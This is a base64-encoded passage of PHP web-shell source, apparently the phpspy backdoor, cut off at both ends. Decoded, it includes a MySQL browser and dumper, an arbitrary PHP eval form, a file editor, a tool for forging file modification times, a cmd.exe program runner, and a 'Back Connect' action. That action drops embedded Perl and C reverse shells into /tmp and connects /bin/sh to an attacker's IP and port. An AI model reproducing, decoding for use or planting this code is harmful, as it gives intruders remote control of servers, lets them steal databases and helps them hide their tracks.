gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOwoJCQkJCQkJCQkkcm93ZGIgPSBhcnJheSgpOwoJCQkJCQkJCQkka2V5ZmllZCA9ICcnOyAvL+S4u+mUruWtl+autQoJCQkJCQkJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRnZXRmaWVsZCkpIHsKCQkJCQkJCQkJCSRyb3dkYlskcm93WydGaWVsZCddXVsnS2V5J10gPSAkcm93WydLZXknXTsKCQkJCQkJCQkJCSRyb3dkYlskcm93WydGaWVsZCddXVsnRXh0cmEnXSA9ICRyb3dbJ0V4dHJhJ107CgkJCQkJCQkJCQlpZiAoJHJvd1snS2V5J10gPT0gJ1VOSScgfHwgJHJvd1snS2V5J10gPT0gJ1BSSScpIHsKCQkJCQkJCQkJCQkka2V5ZmllZCA9ICRyb3dbJ0ZpZWxkJ107CgkJCQkJCQkJCQl9CgkJCQkJCQkJCX0KCQkJCQkJCQkJLyoqKioqKioqKioqKioqKioqKioqKi8JCQkJCQkJCQoJCQkJCQkJCQkvL+ebtOaOpea1j+iniOihqOaMieeFp+S4u+mUrumZjeW6j+aOkuWIlwoJCQkJCQkJCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScpIHsKCQkJCQkJCQkJCSRxdWVyeSA9IHN0cl9yZXBsYWNlKCIgTElNSVQgIiwgIiBvcmRlciBieSAka2V5ZmllZCBERVNDIExJTUlUICIsICRxdWVyeSk7CgkJCQkJCQkJCX0KCgkJCQkJCQkJCSRyZXN1bHQgPSBxKCRxdWVyeSk7CgoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKSIuKCgkcm93ZGJbJG5hbWVdWydLZXknXSA9PSAnVU5JJyB8fCAkcm93ZGJbJG5hbWVdWydLZXknXSA9PSAnUFJJJykgPyAnPGI+IC0gUFJJTUFSWTwvYj4nIDogJycpLigkcm93ZGJbJG5hbWVdWydFeHRyYSddID09ICdhdXRvX2luY3JlbWVudCcgPyAnPGI+IC0gQXV0bzwvYj4nIDogJycpLiI8L3NwYW4+PC90ZD4iKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQlwKCc8L3RyPicpOwoJCQkJCQkJCQkKCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsKCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOwoJCQkJCQkJCQkJLy/pgInlj5bmnaHku7blrZfmrrXnlKgKCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpewoJCQkJCQkJCQkJCWlmICgkaW5zaWRlKSB7CgkJCQkJCQkJCQkJCS8v5p+l5om+5Li76ZSu44CB5ZSv5LiA5bGe5oCn44CB6Ieq5Yqo5aKe5Yqg55qE5a2X5q6177yM5om+5Yiw5bCx5YGc5q2i77yM5ZCm5YiZ57uE5ZCI5omA5pyJ5a2X5q615L2c5Li65p2h5Lu244CCCgkJCQkJCQkJCQkJCWlmICgkcm93ZGJbJGtleV1bJ0tleSddID09ICdVTkknIHx8ICRyb3dkYlska2V5XVsnRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnIHx8ICRyb3dkYlska2V5XVsnS2V5J10gPT0gJ1BSSScpIHsKCQkJCQkJCQkJCQkJCSR3aGVyZSA9ICRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsKCQkJCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsKCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7CgkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJLy/or7vlj5borrDlvZXnlKgKCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpewoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsKCQkJCQkJCQkJCX0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsKCgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCgkJCQkJCQkJCQlwKCRiMSk7CgkJCQkJCQkJCQlwKCc8L3RyPicpOwoJCQkJCQkJCQkJdW5zZXQoJGIxKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQl0YmZvb3QoKTsKCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsKCQkJCQkJCQkJYnJlYWs7CQoJCQkJCQkJCWNhc2UgMjoKCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOwoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOwoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7CgkJCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107CgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOwoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOwoJCQkJCSR0YWJsZV9udW0rKzsKCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOwoJCQkJfQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsKCQkJCXVuc2V0KCR0YWJsZSk7CgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7CgkJCQltYWtlaGlkZSgnYWN0aW9uJywnbXlzcWxhZG1pbicpOwoJCQkJcCgkZGJmb3JtKTsKCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7CgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7CgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOwoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7CgkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCX0KCQkJCXAoJzx0ZD5PcGVyYXRlPC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgewoJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsKCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT48L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnUm93cyddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0NyZWF0ZV90aW1lJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydVcGRhdGVfdGltZSddLic8L3RkPicpOwoJCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0VuZ2luZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0NvbGxhdGlvbiddLic8L3RkPicpOwoJCQkJCX0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT48L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQl9CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7CgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOwoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsKCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDUgOiAzKS4nIj4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA5IDogNykuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZvcm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0KCXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBteXNxbAoKCgoKZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAncGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsKCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgc3FsIGJhY2t1cAoKZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgewoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsKCWlmKCRwaHBjb2RlKXsKCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsKCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7CgkJfQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsKCXAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZXZhbAoKZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsKCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7CgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7CgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsKCQlAZmNsb3NlKCRmcCk7CgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsKCX0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsKCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsKCWZvcm1mb290ZXIoKTsKfS8vZW5kIGVkaXRmaWxlCgplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7Cgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOwoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOwoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsKCXAoJ3llYXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsKCXAoJ21vbnRoOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnZGF5OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ2hvdXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ21pbnV0ZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdzZWNvbmQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgbmV3dGltZQoKZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsKCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgewoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7CgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7CgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsKCQl9CgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7CgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOwoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7CgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsKCQlwKCc8cD4nKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7CgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2